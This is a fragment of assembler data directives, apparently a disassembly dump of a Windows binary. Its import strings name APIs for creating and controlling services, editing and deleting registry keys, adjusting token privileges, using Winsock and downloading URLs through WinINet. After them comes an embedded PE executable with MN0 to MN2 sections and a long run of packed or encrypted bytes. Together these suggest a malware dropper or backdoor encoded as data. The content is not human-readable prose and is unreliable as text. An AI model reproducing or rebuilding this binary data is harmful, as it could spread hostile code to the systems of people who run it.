67655200h, 736F6C43h, 79654B65h, 52000000h, 704F6765h dd 654B6E65h, 41784579h, 52000000h, 65446765h, 6574656Ch dd 4179654Bh, 49000000h, 6974696Eh, 7A696C61h, 63655365h dd 74697275h, 73654479h, 70697263h, 726F74h, 53000000h dd 65537465h, 69727563h, 65447974h, 69726373h, 726F7470h dd 6C636144h, 47000000h, 73557465h, 614E7265h, 41656Dh dd 4F000000h, 536E6570h, 6E614D43h, 72656761h, 41h, 65704F00h dd 7265536Eh, 65636976h, 41h, 6F6C4300h, 65536573h, 63697672h dd 6E614865h, 656C64h, 51000000h, 79726575h, 76726553h dd 53656369h, 75746174h, 73h, 61684300h, 5365676Eh, 69767265h dd 6F436563h, 6769666Eh, 41h, 61684300h, 5365676Eh, 69767265h dd 6F436563h, 6769666Eh, 4132h, 61745300h, 65537472h, 63697672h dd 4165h, 65724300h, 53657461h, 69767265h, 416563h, 44000000h dd 74656C65h, 72655365h, 65636976h, 52000000h, 75516765h dd 56797265h, 65756C61h, 417845h, 53000000h, 65537465h dd 63697672h, 61745365h, 737574h, 52000000h, 73696765h dd 53726574h, 69767265h, 74436563h, 61486C72h, 656C646Eh dd 4172h, 61745300h, 65537472h, 63697672h, 72744365h, 7369446Ch dd 63746170h, 41726568h, 4C000000h, 756B6F6Fh, 69725070h dd 656C6976h, 61566567h, 4165756Ch, 4F000000h, 506E6570h dd 65636F72h, 6F547373h, 6E656Bh, 41000000h, 73756A64h dd 6B6F5474h, 72506E65h, 6C697669h, 73656765h, 56444100h dd 33495041h, 6C642E32h, 7300006Ch, 74000000h, 17000000h dd 15000000h, 3000000h, 12000000h, 0C000000h, 9000000h dd 4000000h, 2000000h, 0D000000h, 1000000h, 0F000000h dd 10000000h, 13000000h, 0A000000h, 34000000h, 6000000h dd 39000000h, 0B000000h, 14000000h, 11000000h, 6F000000h dd 57000000h, 4B434F53h, 642E3233h, 6C6Ch, 74654700h, 6F467049h dd 72617772h, 62615464h, 6900656Ch, 706C6870h, 2E697061h dd 6C6C64h, 49000000h, 7265746Eh, 4F74656Eh, 416E6570h dd 49000000h, 7265746Eh, 4F74656Eh, 556E6570h, 416C72h dd 49000000h, 7265746Eh, 4374656Eh, 65736F6Ch, 646E6148h dd 656Ch, 746E4900h, 656E7265h, 61655274h, 6C694664h, 57000065h dd 4E494E49h, 642E5445h, 6C6Ch, 69725700h, 6F436574h, 6C6F736Eh dd 4165h, 736C5400h, 56746553h, 65756C61h, 43000000h, 74616572h dd 72685465h, 646165h, 52000000h, 6D757365h, 72685465h dd 646165h, 45000000h, 54746978h, 61657268h, 64h, 74654700h dd 72617453h, 49707574h, 416F666Eh, 52000000h, 6E556C74h dd 646E6977h, 48000000h, 43706165h, 74616572h, 65h, 61654800h dd 73654470h, 796F7274h, 48000000h, 41706165h, 636F6C6Ch dd 48000000h, 52706165h, 6C6C4165h, 636Fh, 61654800h, 65724670h dd 65h, 61654800h, 7A695370h, 65h, 61654800h, 6C615670h dd 74616469h, 65h, 6C654400h, 43657465h, 69746972h, 536C6163h dd 69746365h, 6E6Fh, 65724300h, 46657461h, 41656C69h, 54000000h dd 6C41736Ch, 636F6Ch, 47000000h, 75437465h, 6E657272h dd 72685474h, 49646165h, 64h, 736C5400h, 65657246h, 54000000h dd 6547736Ch, 6C615674h, 6575h, 686E5500h, 6C646E61h, 78456465h dd 74706563h, 466E6F69h, 65746C69h, 72h, 74654700h, 74737953h dd 69546D65h, 7341656Dh, 656C6946h, 656D6954h, 47000000h dd 69467465h, 7954656Ch, 6570h, 70754400h, 6163696Ch, 61486574h dd 656C646Eh, 53000000h, 61487465h, 656C646Eh, 6E756F43h dd 74h, 74654700h, 69766E45h, 6D6E6F72h, 53746E65h, 6E697274h dd 7367h, 65724600h, 766E4565h, 6E6F7269h, 746E656Dh, 69727453h dd 4173676Eh, 56000000h, 75747269h, 6C416C61h, 636F6Ch dd 56000000h, 75747269h, 75516C61h, 797265h, 57000000h dd 65746972h, 656C6946h, 53000000h, 74537465h, 6E614864h dd 656C64h, 53000000h, 6F437465h, 6C6F736Eh, 72744365h dd 6E61486Ch, 72656C64h, 53000000h, 69467465h, 6F50656Ch dd 65746E69h, 72h, 61655200h, 6C694664h, 65h, 74655300h dd 4F646E45h, 6C694666h, 65h, 5 dup(0) dd 21000000h, 47220Fh, 0 dd 0A000100h, 18000000h, 800000h, 21000000h, 47220Fh, 0 dd 41000100h, 3000001Fh, 800000h, 21000000h, 47220Fh, 0 dd 19000100h, 48000004h, 58000000h, 78000140h, 172h, 0 dd 4D000000h, 200505Ah, 4000000h, 0FF000F00h, 0B80000FFh dd 0 dd 40000000h, 1A00h, 8 dup(0) dd 0BA000001h, 1F0E0010h, 21CD09B4h, 0CD4C01B8h, 54909021h dd 20736968h, 676F7270h, 206D6172h, 7473756Dh, 20656220h dd 206E7572h, 65646E75h, 69572072h, 0D32336Eh, 37240Ah dd 21h dup(0) dd 50000000h, 4C000045h, 301h, 2 dup(0) dd 0E0000000h, 0BA18E00h, 1, 2 dup(0) dd 5A000000h, 47Ch, 10h, 0 dd 100000h, 10h, 2, 0 dd 4000000h, 2 dup(0) db 90h db 4, 2 dup(0) dd 4, 2000000h, 0 dd 1000h, 10h, 1000h, 10h, 10000000h, 2 dup(0) dd 38000000h, 28000480h, 6 dup(0) dd 60000000h, 10000480h, 14h dup(0) dd 44000000h, 304E4Dh, 0 dd 300h, 10h, 4 dup(0) dd 60000000h, 44C00000h, 314E4Dh, 83000000h, 16Ch, 310h dd 16Eh, 4, 2 dup(0) dd 60000000h, 44E00000h, 324E4Dh, 78000000h, 0 dd 78000480h, 0 dd 172h, 2 dup(0) dd 60000000h, 0C00000h, 63h dup(0) dd 3B000000h, 0D9427152h, 4BFB7BADh, 0A7854EA6h, 33CC1754h dd 0FC0F3D7Bh, 64F5962Bh, 70B4AD4Eh, 6DD58C52h, 0FC4E6712h dd 0EAA04C07h, 0BCEEF05Ch, 0B1BDB012h, 0A110FF0h, 0FB0BA323h dd 31B910C8h, 0AFFAF24Eh, 584732A3h, 5AED0BF7h, 1A191728h dd 78E908C8h, 9089A928h, 0C35CC915h, 0AF7E890Fh, 18FC66C5h dd 9958AF6h, 4D4041E6h, 52B4B166h, 0BC76D3CAh, 9825FAE2h dd 0EFB8275Fh, 689930A2h, 900FE0F9h, 0C77F5797h, 0F60C14Dh dd 0AC921AD3h, 0ADF6AE2Bh, 9F68DF1Ah, 15BE4AAEh, 970FF995h dd 14744C3Ch, 6DFFF762h, 0AC4E9A69h, 0D094590Ah, 1DDAC94Eh dd 0A327311Ah, 0CE22333Ah, 0F12208ADh, 0E60E5A4Bh, 4F67F27Fh dd 0E196B055h, 77CAFFBBh, 0C3A4108Ch, 766E5E21h, 82A43606h dd 48AA1EC1h, 1F895AF3h, 72D5BEB6h, 63118D98h, 515EAC25h dd 0AFC681B0h, 19D0C9EEh, 0BBDA3964h, 90445904h, 58053052h dd 4E37A227h, 123DF96h, 4FD30801h, 0C16086E6h, 8B98CB8Fh dd 0EF074DFh, 0BC1DA8D2h, 928F36C7h, 8A37A7E6h, 84F73C7Ch dd 3E27C697h, 0FEA3887Ah, 1ADEEE2Bh, 0EEBAADABh, 4F6C75FEh dd 71E31CA0h, 0ADD6F599h, 0E014C58h, 0D6CC3694h, 42E3B151h dd 6F3BE040h, 4B946665h, 0BF176BBh, 77E56AF2h, 132BC172h dd 0A0B7BBCCh, 0D502B8A6h, 0A1031FFAh, 0F59FBBABh, 0D394E90Bh dd 0CA1BA7AAh, 3E57F938h, 471656D1h, 86EFD792h, 2CC824F8h dd 0F06467D9h, 0D2544DA9h, 0E0466219h, 2CB5B9B5h, 25106C47h dd 6AFB1F18h, 0A47962BEh, 307A21AEh, 9FC3173Eh, 99AFE33Dh dd 72836BE8h, 29F0B258h, 6BD753E7h, 2EB40BD9h, 942E5248h dd 10AA18E0h, 8754CCA9h, 0AC56824h, 0DACD3E11h, 82477BD2h dd 0F13C03AAh, 6AAE4FE8h, 36692BE9h, 20691A18h, 140750F2h dd 4BB9AB72h, 0BC693DFAh, 909965E6h, 0EEA1CDF6h, 259E0CADh dd 8C4D3077h, 0A107E14Eh, 359831F8h, 31C821DEh, 0C5C3768Bh dd 53FD9F22h, 5FCE8F9Ah, 21B3D63Ah, 0F253BA49h, 23B5920Ch dd 1D5E063Fh, 3D642BBEh, 0FC15A664h, 915BC4B5h, 0DB0F0050h dd 7FF63012h, 9D30B334h, 0E7038C36h, 0BE2CC0B7h, 178C6CDh dd 90C121ACh, 3BBBA585h, 0C8C35D48h, 0A62699D6h, 82E9C85Ah dd 7825384Ch, 0DEC589F4h, 3102E565h, 0D2F7518Dh, 0B4097AE8h dd 482AE860h, 0E43006E8h, 17721187h, 0EB4C89D3h, 0F44C1D3Bh dd 33B17501h, 0AE25948Fh, 0A678C52Eh, 3F755D17h, 1BC65018h dd 9FFF467Eh, 4D52F316h, 0DDAB539Fh, 0E48E7AA5h, 0FAE8BD4Eh dd 0F1E53C65h, 63EC00C9h, 736E504h, 4F85C291h, 0E608F7D2h dd 0D3FF902Fh, 715E88E4h, 5AACEC37h, 0AAA92BF9h, 0F2A19F50h dd 576C65FAh, 2D57F4ACh, 174CCA9h, 0C41F9B94h, 0CD6075B2h dd 5D3C3EBCh, 774FFF59h, 0EC5FA979h, 58885340h, 767022F0h dd 0E11AB2CBh, 85BA7C78h, 5B8CA609h, 4C856FA6h, 0B20FAAC8h dd 8D61C549h, 2783B9F9h, 22EDF3D8h, 52E3D163h, 9094657Ah dd 2635EC1Bh, 8C4D2E85h, 0A6B1DA6h, 0AFDC50F1h, 651AD103h dd 9DC7D47Fh, 5839D2D8h, 47973442h, 0D4639531h, 0A38372E0h dd 6A110357h, 40540613h, 211F098h, 9DB6BBA6h, 0D28C9975h dd 0F12E828Ah, 4B329EFDh, 290E158Dh, 474EB3Ch, 0C18C6586h dd 3FDBD20Bh, 4698EFA4h, 803368B0h, 8188513h, 0BFCEDBF5h dd 9362FCE3h, 0EF849F84h, 0FA130ABAh, 1ABF94D6h, 0BF926C35h dd 0C4AF232h, 75297D19h, 0AEF7A87Fh, 98389D02h, 980B8316h dd 44A59DD2h, 7BF1116Dh, 843B2FBDh, 5D5F63CAh, 0BF5E62Dh dd 2E3360CEh, 0CCC70D8h, 240C3C67h, 0EC7515BBh, 0E8ACB12Fh dd 38EBF281h, 265A4FA9h, 86E367F2h, 39A5F155h, 3937B6A9h dd 0DE91B61Ah, 190FC5E6h, 36F13CB1h, 0F68AB862h, 0E316333Dh dd 2DFA43Ah, 488A2181h, 785244A7h, 0C2BFA4Fh, 4852F28Eh dd 0A676BB59h, 0C92E843Ch, 0D8432C40h, 69BADC2Ah, 314A20Eh dd 0C2891E3h, 404FCACBh, 0DB867024h, 0F6FA8270h, 2DD473ADh dd 2E4ADBABh, 0E26D8BADh, 8AA5ED4h, 7EFFF4F3h, 7FAB1793h dd 825126D8h, 0F4A31045h, 0FB182C99h, 0CBED609Bh, 90706C60h dd 0C4A6B549h, 336ADF69h, 3606C4CCh, 27EFF7EEh, 945E9456h dd 0DB1D5F9Ah, 718A6A0Eh, 275091FCh, 0C806A3F7h, 0D8B23E99h dd 192D4432h, 0FAC9F35Ch, 2EB7189Fh, 0D6717FFEh, 73244368h dd 30F252C3h, 0B3A4C56Ah, 3004E6A0h, 870A543Bh, 0C6E613F9h dd 0B451D512h, 0BD00007Fh, 26A2A2A7h, 5598306Dh, 0F2950360h dd 24C7FDACh, 9985007Fh, 0DFB3693Dh, 66D30480h, 7084932Eh dd 0D2A9EA35h, 0E297F7EBh, 1BEE939Dh, 546524CBh, 3D797440h dd 0B40864E1h, 81DF111Dh, 0F29BD37Ch, 46E4BA7Ch, 4961C98Ah dd 638A0DBAh, 0F95FABF3h, 6DBC0DDBh, 0A514687Ch, 33D9CC0h dd 0F79AEF83h, 0D4626A03h, 79805C25h, 6433CF1Bh, 989E5E92h dd 0C0BD09C9h, 64B06081h, 0B8544ABFh, 0BF91FD0Fh, 83CB5629h dd 0F287B0h, 57DA78B8h, 1EA4686Bh, 80347FD3h, 8CE3EF3Bh dd 22DBB1F9h, 463D4A8Bh, 60698BABh, 0BB8CC3Fh, 8838920Fh dd 2BD63B4Ch, 94852627h, 0E0AF55FAh, 5D3EF618h, 9036CF1Ch dd 2A3B0BCBh, 5900D1B1h, 18E982B7h, 0FC89A49Dh, 19B3FAD3h dd 0D264503Bh, 0CBAC6900h, 5691E406h, 7EF4E9A6h, 77442831h dd 86CF8DD4h, 69B6B4B0h, 0DF4A5137h, 178D1470h, 6ADD91D9h dd 8E85F4BBh, 76334279h, 4E154CBDh, 0A047AD37h, 0DE70EF27h dd 0CE04E0E4h, 70E18C7h, 0BEB53D53h, 0F72EDA8h, 5829C9D8h dd 970AF522h, 9FBF30B4h, 25B585C6h, 29ED0ADDh, 78CAFDA6h dd 6F63A239h, 9A62A739h, 0D507D63Ah, 7ADEF8C3h, 0FB4D1910h dd 3ADF0DFCh, 52799325h, 53B89CE2h, 52D6DB09h, 57F015D5h dd 0ADC54282h, 663A0395h, 0C31F895h, 65B5137Bh, 3D31BE42h dd 66D42720h, 0B671CD6Eh, 6443FD98h, 0AF1F1480h, 0E4D89E90h dd 2F269E9Ah, 23DD0A6Ah, 7219AC30h, 0B5BB8B38h, 0C72D0F71h dd 0FC392E87h, 0F665D273h, 98CA0001h, 0A423B185h, 0DED15488h dd 22AC8BCh, 5B005BFAh, 0DE1F72E9h, 0A32588A3h, 2BECB04Dh dd 9D1C65EFh, 26A5D0BFh, 0CB76B0E5h, 9249BB5Bh, 749A914Ch dd 0C1CDE282h, 97AEC0AFh, 0E4B05941h, 0BD9E781Ah, 0A0F0EBB9h dd 829147DAh, 0EFA30D66h, 0FA7E223Dh, 25CF4FC4h, 7A48CF69h dd 0F4CB5845h, 0AE447F7Bh, 0AEFFE881h, 2B885DB8h, 2D1205Dh dd 0A190D9F6h, 0B0CFA34h, 0AF7786A3h, 0FB93EE29h, 978B32D3h dd 7F3A8338h, 0D3353F22h, 0CC653194h, 0DEE081F5h, 0FF3BEBF4h dd 85F0CF6Bh, 455433D7h, 0B258CD9Dh, 3E10C141h, 59890CB7h dd 4D3D31C6h, 650942EFh, 1C537C3Bh, 4B0B41F9h, 0A2588B14h dd 35436197h, 0F7D70954h, 0A78C49C2h, 5153DB5h, 60786F7Eh dd 0C9FECBD6h, 0AF3D06Ch, 0ED8982E3h, 0C9E28941h, 0D6BEC4h dd 0F92D1D50h, 0D46F7A64h, 8EA6385Ch, 22D672Dh, 52A1C8B0h dd 2A9D1642h, 0D52CCB69h, 9781195Bh, 65639355h, 0DB27FD8Fh dd 0F8288B18h, 27AC5197h, 0D87F1E31h, 0C9594145h, 8C15BB22h dd 4F2CFDE8h, 0EE3E828h, 756A476Ch, 886BBD1Fh, 0EF2F4A51h dd 5602E48Fh, 0B2FD7C34h, 0FA72DE24h, 0CA321252h, 9008392Bh dd 6011A1E8h, 0D2CF0CC2h, 0E0384E22h, 2CC60C96h, 0DCB1D6Dh dd 3506D516h, 0F53847C8h, 0E02B792Eh, 0FA24CB53h, 6D67922Fh dd 9A64EE45h, 3C280F2Dh, 471FA968h, 97433B00h, 29EC9A3Dh dd 0BF97D13Dh, 0ADF5FE33h dd 5660A421h, 18F4084h, 22AA137Fh, 0B23D0466h, 0FC77E0A3h dd 4CB0994Ah, 3E354996h, 67F6684Dh, 9BF24EFAh, 0D01821Ch dd 0A9321267h, 0FC6F3591h, 795D3A17h, 1CEF7040h, 15B8194Ch dd 319E28BCh, 0D5D2FBB7h, 6F1398DEh, 7149D8D8h, 0DF03CE15h dd 9F2E90A6h, 0BD8620C8h, 2775BE8Ch, 7168B4BEh, 0C846ED0Fh dd 81794D6Dh, 0DB75F920h, 8DD273ECh, 0A8120EC8h, 0CC4D954h dd 3271D90Bh, 0F9EFD02Eh, 0CB314103h, 630927A9h, 6F0518B5h dd 3E4D0A5Ah, 7473B0C6h, 0EEB43975h, 28D9E6E6h, 47662A63h dd 55942E77h, 3203EBEBh, 1F20F8C2h, 6C9915F0h, 5EA4FF6Fh dd 0D6C6A0F7h, 22F7786h, 0F15F9F85h, 0CB15F57Fh, 1E070993h dd 4D7D30F9h, 2820C777h, 76228EB5h, 10EC2F44h, 0C35E332h dd 482FB9F0h, 428E7AB3h, 0D392A8D7h, 66E49583h, 0ACB6FA96h dd 0CB19C583h, 85E76CF1h, 79E3CAC6h, 21A8E624h, 0AD967D28h dd 5BB16D47h, 54C85137h, 79967825h, 0A7B5CF46h, 0F7F6AE6Ch dd 8B366F3Dh, 9E83972Ah, 0BDDC54B9h, 0BFABB743h, 25EF4AD6h dd 55EE9515h, 39757DB3h, 0DC58A86Ch, 1C6343E4h, 51D30BEEh dd 734DE77Ch, 0AEA04B36h, 0A0612540h, 69822310h, 7C05B467h dd 2189D4F6h, 93A15C31h, 97D4E75Fh, 0DF8181C1h, 96B0F795h dd 8185913Eh, 0A0C30396h, 32C4CC9Bh, 307C6D3Ch, 0B65BB319h dd 9F9DB4B6h, 253440A6h, 39726EFDh, 76DF568Ah, 9370660Ch dd 0FE39FA49h, 0D31A938h, 69576AFAh, 9F284627h, 0F9DA38BBh dd 0B979B00Ch, 4038C84Dh, 0CFAAD23Fh, 7E774775h, 0C76AAF41h dd 7F66DBFEh, 0ADF85745h, 0B2A00792h, 114B5806h, 0DDD23C44h dd 0ED03D5F9h, 317D984Ah, 0BD8994F0h, 0E1B4D482h, 0F764ACCEh dd 6E2FDFDh, 0E036CA5Dh, 2AA3675Ch, 0E7F3D1CDh, 0F90289FEh dd 94683BE4h, 0C1B1516Fh, 0CDE529D4h, 0CCBEA78Dh, 557BF16Ch dd 8C36E742h, 10F6258Dh, 48D6D6B5h, 3FC5EE21h, 0D61B2597h dd 74E2130Ch, 380A075Ch, 0E963A8E7h, 92F1B338h, 0A2DCE671h dd 434EE3E9h, 0FB641355h, 0EA7AA596h, 27FDEDC2h, 446D534Bh dd 4B6234C5h, 0B05753Eh, 265D25D6h, 79A28A39h, 8678D588h dd 14D57909h, 0F2AC9C15h, 320B1AE1h, 0C263A79Ah, 0BD1A6C67h dd 0CAC6B586h, 1A82853Bh, 9C06D5D9h, 0EB5C6527h, 0FFB424E4h dd 0CB107AFCh, 2F83D115h, 66F5CAAFh, 0BD6D5975h, 89F52400h dd 0C9463C89h, 0D8ACC0EDh, 813C35B8h, 499E283Bh, 0BFE8D528h dd 7C6292B8h, 78E340BDh, 530DDB00h, 0B45B198Bh, 4EEEF185h dd 0CB7480CEh, 0C86152ADh, 7F5B3735h, 7FD4820Ah, 0A4E75643h dd 7B41B10h, 0A34362Eh, 0A5872B74h, 0D2DEEB5Fh, 0E5819E7Eh dd 67CCE0C1h, 0C5B86C47h, 0E6DCF792h, 9342A546h, 0E0E7717Bh dd 0B754E553h, 9B9E6246h, 0B1A47BEh, 3B1F7A86h, 17CA00F6h dd 8F103D6Ch, 69093886h, 516DAD0Ah, 0A769FC5Bh, 5551C823h dd 4F42F434h, 54E09CEAh, 857A5CABh, 0BDB3A60Bh, 5CFBB75Dh dd 0D667C381h, 0ADB32C52h, 0DB065BBCh, 0D527FEAFh, 0F522100Ch dd 7E11BA0Bh, 55CA1B3Fh, 775C6F1Ah, 395E96D0h, 0FB9A8107h dd 0A28B7ECEh, 0C1D7B4DDh, 0F2924A1Fh, 5C467EB9h, 0F53A9AABh dd 0ABE6F972h, 54FEDBF3h, 2F91D926h, 56822E42h, 1DFC986Eh dd 23E8659Bh, 0D88306E2h, 9F83E816h, 5E0913AEh, 6C8D96C4h dd 0AED0D499h, 0F6039571h, 9A0704F9h, 452ABB6Bh, 4DF40443h dd 5EA5D146h, 0D891882Ah, 0A5A622A0h, 0C4ED89EDh, 74AF9112h dd 321380E6h, 0A58D1765h, 488CB95Bh, 997F4B77h, 0CEE493FFh dd 7B4B4AADh, 2418511Bh, 0E1B53E24h, 6C6DFAB9h, 4EB0F63Ah dd 43C44C63h, 0DEA2DD5Eh, 9B30BC88h, 0EF6D0F20h, 6C4BFE4Dh dd 97F32420h, 0FA453D8Fh, 0FC19A48Ch, 0E6229081h, 5E01C8ADh dd 0C8E4CDB1h, 63D5CB45h, 5D3EEDF9h, 5D555480h, 51311257h dd 0E537B0C0h, 5B4E221Ah, 0FB0CFF71h, 0F2A66264h, 0ED787186h dd 0EE2EB0CBh, 0BC7159DDh, 63C93340h, 0C476D7F2h, 7B8D6B8Dh dd 579E1C51h, 0E1556D0Ch, 537603AAh, 0D272EC48h, 0B6E90F0Dh dd 8CEB3C36h, 1F446BDh, 893EC9BEh, 8B5C9693h, 4969EEA9h dd 2CE07811h, 0E6E3784Ch, 3870FBABh, 629B883Fh, 791E3F5h dd 106D936Dh, 74D61FF6h, 0A9558548h, 0C5005D05h, 5062B314h dd 82EBCDD6h, 78142D41h, 95B074DEh, 393C14D2h, 0E150322Ah dd 0A9309CA6h, 1D772BD2h, 68508034h, 0A9760827h, 0C91362C5h dd 7B079246h, 0F8552494h, 5809D1E4h, 73F073A8h, 9EFBFF29h dd 255F1BBEh, 6AF6DBB6h, 9BD7B57Dh, 6A6C3636h, 2A112793h dd 0F799639Bh, 0B4C0AF72h, 0EA9FD22Fh, 0CA8E679Dh, 98E63E03h dd 0E012BDD1h, 9E796B36h, 408A2A6Dh, 9E2C69DCh, 0EFC5CC97h dd 0E8424726h, 0A1268E41h, 36DF98A8h, 0ED97C949h, 65558955h dd 59E2A750h, 38F2443Ah, 12EF900Fh, 2020D59Fh, 631DA8F0h dd 0AAEE7A6Bh, 1CD119EFh, 43D6B210h, 0BBFE1817h, 0EEAD9F68h dd 879C00D7h, 4A30F82Bh, 94313498h, 0EB18F826h, 78E510D6h dd 6FE85B39h, 0EAA0462Ch, 6C3F2C52h, 378D08A6h, 8D22A2AFh dd 0FBB54810h, 48A9AB01h, 7688DCBh, 383BB54h, 9CC62B2Eh dd 5902928Eh, 0AAAAB28h, 0FCD17AC5h, 5C531CADh, 0F8555B27h dd 0BF90DC45h, 65D6E67Eh, 88F9D57Bh, 340FC474h, 0C5AD7224h dd 5F347811h, 0FEF963D0h, 24226020h, 0F2380DAh, 7A790544h dd 9C480562h, 56F2B38Fh, 0EF1F4CA9h, 0F7C56EDh, 0DBC6EF89h dd 57E9BEF2h, 214AF7FCh, 0EE510466h, 0EFC350C2h, 0DA4B0E5Bh dd 1FCB390Bh, 0FC37E4B0h, 28D81B6Dh, 37133E17h, 747F8800h dd 80EB1F0Ch, 73785601h, 3693EC26h, 178ACE20h, 142204E0h dd 90BCB9AEh, 0D6FA9326h, 502A2C4Eh, 16FD1357h, 58C0CE48h dd 0F8603964h, 0F0A5D6CBh, 43C5F270h, 0B521E359h, 0DFC4FECCh dd 0E1C00E63h, 7BBCCA58h, 0B4C6362Dh, 9ADF1826h, 50E85DE8h dd 0F16054F8h, 0CD4C3749h, 0FE98BECDh, 0EF0CB783h, 534D9D80h dd 0E8031FE8h, 185C30E3h, 2C7EE701h, 95DC735Fh, 63214FB6h dd 7AA79A58h, 0C186F289h, 9DBC9C39h, 56C70CC7h, 815D1534h dd 35654AB7h, 0FF9B0D57h, 5139F64Bh, 1D50CB29h, 3B15A655h dd 0F704F3E2h, 39796CAFh, 0FBC498BFh, 40AC7EEh, 636568CDh dd 3A122E90h, 320285E1h, 1EC090FCh, 0BB2DF622h, 73BFCC3Ah dd 8C20F78Ch, 21515B3Eh, 5F3729Fh, 0ED8B2746h, 97C50029h dd 0ECF78F32h, 7611C4C3h, 3BFF4C7Eh, 723865F0h, 8A9F8CB6h dd 98322A7Dh, 0B8B5031Eh, 305E8F95h, 0D6E861A5h, 0C19D3314h dd 79037141h, 51EC53F0h, 0BE23AD75h, 33193BEDh, 965C7FBFh dd 1F902C5Ch, 0CCE07469h, 8BA1A228h, 5161A6F4h, 0C4AF6D78h dd 5AC9E0D2h, 8935EBAh, 0E261A56Dh, 0BF85BDA2h, 92CBA25Fh dd 67B82ACh, 52A7B70h, 15032D8Dh, 0B224911Ah, 7B612BB5h dd 0B0667113h, 7C80C68Ah, 0AE1D06CEh, 0BA64AAACh, 0C3BCEB8Bh dd 0A64555D2h, 0A05636BAh, 49D239D4h, 64D6474Ah, 79D784C3h dd 32C91D7h, 17E7D867h, 5BE9A51Fh, 0A7EF0583h, 6BF5B57Eh dd 60C92C03h, 0D4E878F4h, 0E836BDC7h, 0B918821Eh, 38F53434h dd 5AACB48Ch, 538544D4h, 3E371705h, 0D91E78D2h, 0F6902C5h dd 2E663108h, 55319091h, 7E648EEBh, 590488CAh, 451B47B8h dd 0E5C4FB00h, 7D0F6506h, 0FED33DB3h, 0B0824A46h, 3636DE99h dd 0CE051C8h, 8CCBDF41h, 0D472448Bh, 39D936FAh, 0CACD5188h dd 6C8A2B44h, 1CDEC6A3h dd 688E33A2h, 0C737A570h, 24DF5D34h, 0C25E646Dh, 3047AF73h dd 2F2BA65Fh, 0F39D7904h, 1F6D7671h, 127A2FEEh, 0F469FF6Ah dd 991169D0h, 805B9ED1h, 855FFAD0h, 4B7F9610h, 6D8B4188h dd 3653855h, 0BA2D018Eh, 88E098B9h, 43853194h, 0AB074A4Ch dd 6B5A89AFh, 47543CE7h, 0B509B5A0h, 95D1FA00h, 1BD7C544h dd 9F8E8D50h, 6EED0BEEh, 705BFC61h, 6E7C043Eh, 9F412D1h dd 34AA13E7h, 76E210EFh, 7AABB754h, 70A3DC11h, 35AEE209h dd 98BCECD3h, 0A8AA223Ch, 0DCF78908h, 0EBF4112Dh, 0C2841524h dd 0B1AFDA2Bh, 744A22B1h, 9AC61871h, 0CCB5D4A4h, 6D4269E3h dd 0C627B06Ah, 9C9A9BA8h, 0B037E4BCh, 6DA0A51Dh, 6C0E9956h dd 5E11E7C5h, 38AD0FDCh, 2296654Fh, 36248B20h, 8AFD42C8h dd 60B65FCEh, 375E5871h, 4C861F18h, 0DBEB67D1h, 1ADDA0D7h dd 590D3A9Bh, 0F60D1D0Fh, 20391A2Ch, 18C91CF9h, 7673AF98h dd 0DB8CBC18h, 6F929E01h, 381A9982h, 0D7D2FAACh, 6603B432h dd 0AB60E434h, 64F716B3h, 9B574C8Bh, 0C7262CC0h, 1E202C22h dd 7D8E1747h, 1EAF660Eh, 0D16AC530h, 5597E22h, 0C3A5FFA0h dd 36D97E88h, 688CBA21h, 3938F472h, 91ADEA62h, 0D0942C10h dd 0A190DCB3h, 0C3968E96h, 41563774h, 0A67710A0h, 354C36h dd 66F7795Fh, 91136F1h, 0BD60473Fh, 7F2E0168h, 3AE1AD3Eh dd 0FB0CDA68h, 25C4FA57h, 991B3A26h, 182A5E2Dh, 0FF07D9A9h dd 0EF0DF425h, 5E732A6Ah, 7847D399h, 89BFD70Eh, 0A5A9E97Fh dd 171DEF96h, 6873457Eh, 0EC0E25C0h, 0A1148830h, 0FB36893Bh dd 2A0406B3h, 3703E691h, 44694630h, 7047DE79h, 70634D6Eh dd 34CC4F2Eh, 0B3F1F9Eh, 1D3B785Bh, 0D7711C6Bh, 0F5581CD5h dd 445E13E6h, 0C30BA490h, 7CE318EBh, 0BB01C7D0h, 9E5C7DB9h dd 283F5D47h, 2A6EC0A1h, 66D5327Fh, 0CB64F21Eh, 7694EBB5h dd 6621C2ABh, 0EECB6612h, 6DFBA41Ah, 571E37E1h, 0F44945C8h dd 0FA5B5589h, 95A1AFD3h, 0C8DD5729h, 0A8A620B4h, 776AC3FAh dd 0C3A901D7h, 2215BD72h, 0CB5649D1h, 9A7FF3B0h, 754B8366h dd 0EBE333Ah, 3CFCADB1h, 0D08E5E42h, 0D1C53AF3h, 0DF24CF73h dd 6355D3BCh, 68E9415Eh, 14F9D11Dh, 7EB169B1h, 821DF5E5h dd 426DCB77h, 97986B87h, 36A52B91h, 95BB3335h, 69C863F2h dd 0A04C0D9Ah, 172B5B9Fh, 0C1CFE80Ch, 370FC291h, 91098B28h dd 5222DEA5h, 0D48A8B5Eh, 3D243ADBh, 745890E3h, 133D6B73h dd 0E798C717h, 5E113D5Fh, 2BAAAF1Ch, 0E3436384h, 289DA66Bh dd 6877F91Ah, 693AD21Ah, 189259D7h, 10B498C2h, 28540BCEh dd 0B1B75B43h, 1646F96Dh, 16AE5689h, 49EC5FFFh, 0F63238Dh dd 709609DDh, 359B502Dh, 6C3F33BEh, 0D46BF0F3h, 76793251h dd 50E84D3Ah, 26DA2F11h, 38156865h, 83BF0418h, 0D9F16791h dd 1A006EC4h, 8E9CD95Dh, 8139C4A9h, 8794104Bh, 0BD24E8DEh dd 509E97A4h, 108E46B3h, 0D50FA04Eh, 0C46FFC6h, 6FC09E69h dd 0D5319E0Bh, 0FD9E2898h, 0BA22E5E0h, 0B9077EC6h, 9E6DECABh dd 8AD56061h, 2839CBACh, 2978C328h, 0C34F5869h, 5D0C4DC7h dd 93AADE21h, 0C217337Eh, 0C5A5BE2Dh, 0C8C6A09Eh, 0EA29158Ah dd 87FDAE3Ch, 0F26A5BD3h, 0C868C2CCh, 0F8B39A63h, 0D68AEF6Bh dd 0B9B25AA8h, 0F670FE92h, 52722AFEh, 9B56E5CFh, 0BB7E7DC8h dd 9C5059E4h, 0C9F3FE9Eh, 0B75A88CDh, 0B0035B9Eh, 3B3564D1h dd 9F010C61h, 6BDA684Ah, 710359ACh, 0ED78DCF5h, 16EEF6D6h dd 0E65C13F6h, 71653FC8h, 1DCD60A2h, 8D1A0284h, 4272BBCCh dd 3430BF8Fh, 62BB5886h, 0D3D68A06h, 21A2F713h, 0E8F3E3ECh dd 1BDF068Bh, 7C80E952h, 978DB2C1h, 0DDC58163h, 867BDD16h dd 500DAE4Ch, 50101C63h, 0CE5BCD47h, 32D517B5h, 0F5A46EEFh dd 0BE295h, 